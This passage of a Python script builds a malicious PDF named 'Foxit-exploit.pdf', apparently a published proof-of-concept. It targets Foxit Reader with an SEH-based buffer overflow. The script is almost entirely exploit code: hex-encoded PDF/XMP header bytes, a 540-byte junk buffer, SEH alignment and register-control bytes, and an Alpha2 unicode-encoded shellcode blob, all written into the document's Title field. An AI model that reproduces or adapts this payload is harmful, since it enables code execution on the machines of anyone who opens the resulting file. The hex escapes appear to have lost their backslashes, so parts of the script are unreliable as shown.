header +="x64x66x3Ax52x44x46x20x78x6Dx6Cx6Ex73x3Ax72x64x66"
header +="x3Dx22x68x74x74x70x3Ax2Fx2Fx77x77x77x2Ex77x33x2E"
header +="x6Fx72x67x2Fx31x39x39x39x2Fx30x32x2Fx32x32x2Dx72"
header +="x64x66x2Dx73x79x6Ex74x61x78x2Dx6Ex73x23x22x3Ex0D"
header +="x0Ax20x20x20x20x20x20x3Cx72x64x66x3Ax44x65x73x63"
header +="x72x69x70x74x69x6Fx6Ex20x72x64x66x3Ax61x62x6Fx75"
header +="x74x3Dx22x22x0Dx0Ax20x20x20x20x20x20x20x20x20x20"
header +="x20x20x78x6Dx6Cx6Ex73x3Ax78x61x70x3Dx22x68x74x74"
header +="x70x3Ax2Fx2Fx6Ex73x2Ex61x64x6Fx62x65x2Ex63x6Fx6D"
header +="x2Fx78x61x70x2Fx31x2Ex30x2Fx22x3Ex0Dx0Ax20x20x20"
header +="x20x20x20x20x20x20x3Cx78x61x70x3Ax43x72x65x61x74"
header +="x65x44x61x74x65x3Ex32x30x31x30x2Dx30x37x2Dx30x36"
header +="x54x31x31x3Ax30x31x3Ax34x32x2Bx30x37x3Ax30x30x3C"
header +="x2Fx78x61x70x3Ax43x72x65x61x74x65x44x61x74x65x3E"
header +="x0Dx0Ax20x20x20x20x20x20x20x20x20x3Cx78x61x70x3A"
header +="x43x72x65x61x74x6Fx72x54x6Fx6Fx6Cx3Ex57x72x69x74"
header +="x65x72x3Cx2Fx78x61x70x3Ax43x72x65x61x74x6Fx72x54"
header +="x6Fx6Fx6Cx3Ex0Dx0Ax20x20x20x20x20x20x20x20x20x3C"
header +="x78x61x70x3Ax4Dx6Fx64x69x66x79x44x61x74x65x3Ex32"
header +="x30x31x30x2Dx30x37x2Dx31x37x54x31x39x3Ax31x32x3A"
header +="x34x37x2Dx30x37x3Ax30x30x3Cx2Fx78x61x70x3Ax4Dx6F"
header +="x64x69x66x79x44x61x74x65x3Ex0Dx0Ax20x20x20x20x20"
header +="x20x20x20x20x3Cx78x61x70x3Ax4Dx65x74x61x64x61x74"
header +="x61x44x61x74x65x3Ex32x30x31x30x2Dx30x37x2Dx31x37"
header +="x54x31x39x3Ax31x32x3Ax34x37x2Dx30x37x3Ax30x30x3C"
header +="x2Fx78x61x70x3Ax4Dx65x74x61x64x61x74x61x44x61x74"
header +="x65x3Ex0Dx0Ax20x20x20x20x20x20x3Cx2Fx72x64x66x3A"
header +="x44x65x73x63x72x69x70x74x69x6Fx6Ex3Ex0Dx0Ax20x20"
header +="x20x20x20x20x3Cx72x64x66x3Ax44x65x73x63x72x69x70"
header +="x74x69x6Fx6Ex20x72x64x66x3Ax61x62x6Fx75x74x3Dx22"
header +="x22x0Dx0Ax20x20x20x20x20x20x20x20x20x20x20x20x78"
header +="x6Dx6Cx6Ex73x3Ax64x63x3Dx22x68x74x74x70x3Ax2Fx2F"
header +="x70x75x72x6Cx2Ex6Fx72x67x2Fx64x63x2Fx65x6Cx65x6D"
header +="x65x6Ex74x73x2Fx31x2Ex31x2Fx22x3Ex0Dx0Ax20x20x20"
header +="x20x20x20x20x20x20x3Cx64x63x3Ax66x6Fx72x6Dx61x74"
header +="x3Ex61x70x70x6Cx69x63x61x74x69x6Fx6Ex2Fx70x64x66"
header +="x3Cx2Fx64x63x3Ax66x6Fx72x6Dx61x74x3Ex0Dx0Ax20x20"
header +="x20x20x20x20x20x20x20x3Cx64x63x3Ax63x72x65x61x74"
header +="x6Fx72x3Ex0Dx0Ax20x20x20x20x20x20x20x20x20x20x20"
header +="x20x3Cx72x64x66x3Ax53x65x71x3Ex0Dx0Ax20x20x20x20"
header +="x20x20x20x20x20x20x20x20x20x20x20x3Cx72x64x66x3A"
header +="x6Cx69x3Ex73x70x6Cx6Fx69x74x3Cx2Fx72x64x66x3Ax6C"
header +="x69x3Ex0Dx0Ax20x20x20x20x20x20x20x20x20x20x20x20"
header +="x3Cx2Fx72x64x66x3Ax53x65x71x3Ex0Dx0Ax20x20x20x20"
header +="x20x20x20x20x20x3Cx2Fx64x63x3Ax63x72x65x61x74x6F"
header +="x72x3Ex0Dx0Ax20x20x20x20x20x20x20x20x20x3Cx64x63"
header +="x3Ax74x69x74x6Cx65x3Ex0Dx0Ax20x20x20x20x20x20x20"
header +="x20x20x20x20x20x3Cx72x64x66x3Ax41x6Cx74x3Ex0Dx0A"
header +="x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x3C"
header +="x72x64x66x3Ax6Cx69x20x78x6Dx6Cx3Ax6Cx61x6Ex67x3D"
header +="x22x78x2Dx64x65x66x61x75x6Cx74x22x3Ex43x6Fx64x65"
header +="x20x45x78x65x63x20x6Fx6Ex20x46x6Fx78x69x74x20x70"
header +="x64x66x20x72x65x61x64x65x72x20x61x70x70x6Cx69x63"
header +="x61x74x69x6Fx6Ex20x62x79x20x53x75x64x30x2Ex2Ex2E"
header +="x2Ex3Cx2Fx72x64x66x3Ax6Cx69x3Ex0Dx0Ax20x20x20x20"
header +="x20x20x20x20x20x20x20x20x3Cx2Fx72x64x66x3Ax41x6C"
header +="x74x3Ex0Dx0Ax20x20x20x20x20x20x20x20x20x3Cx2Fx64"
header +="x63x3Ax74x69x74x6Cx65x3Ex0Dx0Ax20x20x20x20x20x20"
header +="x3Cx2Fx72x64x66x3Ax44x65x73x63x72x69x70x74x69x6F"
header +="x6Ex3Ex0Dx0Ax20x20x20x20x20x20x3Cx72x64x66x3Ax44"
header +="x65x73x63x72x69x70x74x69x6Fx6Ex20x72x64x66x3Ax61"
header +="x62x6Fx75x74x3Dx22x22x0Dx0Ax20x20x20x20x20x20x20"
header +="x20x20x20x20x20x78x6Dx6Cx6Ex73x3Ax70x64x66x3Dx22"
header +="x68x74x74x70x3Ax2Fx2Fx6Ex73x2Ex61x64x6Fx62x65x2E"
header +="x63x6Fx6Dx2Fx70x64x66x2Fx31x2Ex33x2Fx22x3Ex0Dx0A"
header +="x20x20x20x20x20x20x20x20x20x3Cx70x64x66x3Ax4Bx65"
header +="x79x77x6Fx72x64x73x3Ex62x75x66x66x65x72x20x6Fx76"
header +="x65x72x66x6Cx6Fx77x20x65x78x70x6Cx6Fx69x74x61x74"
header +="x69x6Fx6Ex2Cx20x75x6Ex69x63x6Fx64x65x2Cx20x43x6F"
header +="x64x65x20x45x78x65x63x20x73x68x65x6Cx6Cx63x6Fx64"
header +="x65x3Cx2Fx70x64x66x3Ax4Bx65x79x77x6Fx72x64x73x3E"
header +="x0Dx0Ax20x20x20x20x20x20x20x20x20x3Cx70x64x66x3A"
header +="x50x72x6Fx64x75x63x65x72x3Ex4Fx70x65x6Ex4Fx66x66"
header +="x69x63x65x2Ex6Fx72x67x20x33x2Ex32x3Cx2Fx70x64x66"
header +="x3Ax50x72x6Fx64x75x63x65x72x3Ex0Dx0Ax20x20x20x20"
header +="x20x20x3Cx2Fx72x64x66x3Ax44x65x73x63x72x69x70x74"
header +="x69x6Fx6Ex3Ex0Dx0Ax20x20x20x20x20x20x3Cx72x64x66"
header +="x3Ax44x65x73x63x72x69x70x74x69x6Fx6Ex20x72x64x66"
header +="x3Ax61x62x6Fx75x74x3Dx22x22x0Dx0Ax20x20x20x20x20"
header +="x20x20x20x20x20x20x20x78x6Dx6Cx6Ex73x3Ax78x61x70"
header +="x4Dx4Dx3Dx22x68x74x74x70x3Ax2Fx2Fx6Ex73x2Ex61x64"
header +="x6Fx62x65x2Ex63x6Fx6Dx2Fx78x61x70x2Fx31x2Ex30x2F"
header +="x6Dx6Dx2Fx22x3Ex0Dx0Ax20x20x20x20x20x20x20x20x20"
header +="x3Cx78x61x70x4Dx4Dx3Ax44x6Fx63x75x6Dx65x6Ex74x49"
header +="x44x3Ex75x75x69x64x3Ax37x61x37x35x39x32x38x66x2D"
header +="x63x65x63x34x2Dx34x30x37x65x2Dx38x65x65x34x2Dx39"
header +="x34x37x33x37x37x62x66x39x38x62x66x3Cx2Fx78x61x70"
header +="x4Dx4Dx3Ax44x6Fx63x75x6Dx65x6Ex74x49x44x3Ex0Dx0A"
header +="x20x20x20x20x20x20x20x20x20x3Cx78x61x70x4Dx4Dx3A"
header +="x49x6Ex73x74x61x6Ex63x65x49x44x3Ex75x75x69x64x3A"
header +="x65x61x39x32x61x36x64x63x2Dx65x61x36x61x2Dx34x31"
header +="x63x34x2Dx62x34x63x38x2Dx35x36x61x64x33x63x38x35"
header +="x31x33x62x66x3Cx2Fx78x61x70x4Dx4Dx3Ax49x6Ex73x74"
header +="x61x6Ex63x65x49x44x3Ex0Dx0Ax20x20x20x20x20x20x3C"
header +="x2Fx72x64x66x3Ax44x65x73x63x72x69x70x74x69x6Fx6E"
header +="x3Ex0Dx0Ax20x20x20x3Cx2Fx72x64x66x3Ax52x44x46x3E"
header +="x0Dx0Ax3Cx2Fx78x3Ax78x6Dx70x6Dx65x74x61x3Ex0Dx0A"
header +="x3Cx3Fx78x70x61x63x6Bx65x74x20x65x6Ex64x3Dx22x77"
header +="x22x3Fx3Ex0Dx0Ax65x6Ex64x73x74x72x65x61x6Dx0Dx0A"
header +="x65x6Ex64x6Fx62x6Ax0Dx0Ax38x30x20x30x20x6Fx62x6A"
header +="x0Dx0Ax3Cx3Cx2Fx43x72x65x61x74x69x6Fx6Ex44x61x74"
header +="x65x28x44x3Ax32x30x31x30x30x37x30x36x31x31x30x31"
header +="x34x32x2Bx30x37x27x30x30x27x29x2Fx41x75x74x68x6F"
header +="x72x28x2Ax53x75x64x30x2Ax29x2Fx43x72x65x61x74x6F"
header +="x72x28x57x72x69x74x65x72x29x2Fx4Bx65x79x77x6Fx72"
header +="x64x73x28x62x75x66x66x65x72x20x6Fx76x65x72x66x6C"
header +="x6Fx77x20x65x78x70x6Cx6Fx69x74x61x74x69x6Fx6Ex2C"
header +="x20x75x6Ex69x63x6Fx64x65x2Cx20x65x67x67x68x75x6E"
header +="x74x65x72x20x73x68x65x6Cx6Cx63x6Fx64x65x29x2Fx50"
header +="x72x6Fx64x75x63x65x72x28x4Fx70x65x6Ex4Fx66x66x69"
header +="x63x65x2Ex6Fx72x67x20x33x2Ex32x29x2Fx4Dx6Fx64x44"
header +="x61x74x65x28x44x3Ax32x30x31x30x30x37x31x37x31x39"
header +="x31x32x34x37x2Dx30x37x27x30x30x27x29x2Fx54x69x74"
header +="x6Cx65x28"
junk = "A"*540
align="x5Ax41x46x6Ax41x61x5Cx5Cx41x61x41x54x41xC3" # Align + SEH ... SEH = 0x006A0046
control="xB3x30xB3" # control of ECX to point it to writeable address (need only two bytes, third one is junk)
# Unicode Shellcode Alpha2 encoded with a small modification because we had to play with registers in the align shellcode before
shellcode="TaYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBJ9JKuK9IbTO4jTNQj2X2pwMawYqT2kpqNPTKPvzldKD6MLTKMvZhRkCNmPrkmfnXnoMHqeZSPYiqxQ9ok1op2kplldLdDKmuMlTKNtKxRXiqZJBkPJkhTKpZKpiqZKzCMdQ9tKNTDKYqXnmaIoMa5pIlFLQt5pRTYwva8OlMKQ5wHkHtMk3Lo4O845xatKNznDIqhkpfRkzlnkDKPZmLKQJKTK9ttKm1YX2iPDktmLoq5sUbkXo96t2iYUu97Rs8rnpNlNxlR2yX5OkOYokOsYOUkTekqn8XIRpsQwMLldnrHhTNYoIoKOU9neM8aXrLrLmPoQphoCNRlnRD38QesCperRqx1LMTYz2iGvOfyoNu9tri8BR0gK78uRpMGLsWKlldPRyXQQKOyoiooxrL1QbNnxs8mspo1bOunQYK1xOlKtm7qy9SOxlpnxmPmPs8KpOcRUPd1XPdo0orRYOxpoPi3DS5PhpErXpp2Lp1eyqxpLmTJqQyWqMagbBJp0NsPQr2KO8PLqupNpioOeIxZjA"
footer= "x29x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6A"
pdf= open('Foxit-exploit.pdf', 'wb+')
pdf.write(header)
pdf.write(junk)
pdf.write(align)
pdf.write(control)
pdf.write(shellcode)
pdf.write(footer)
pdf.close()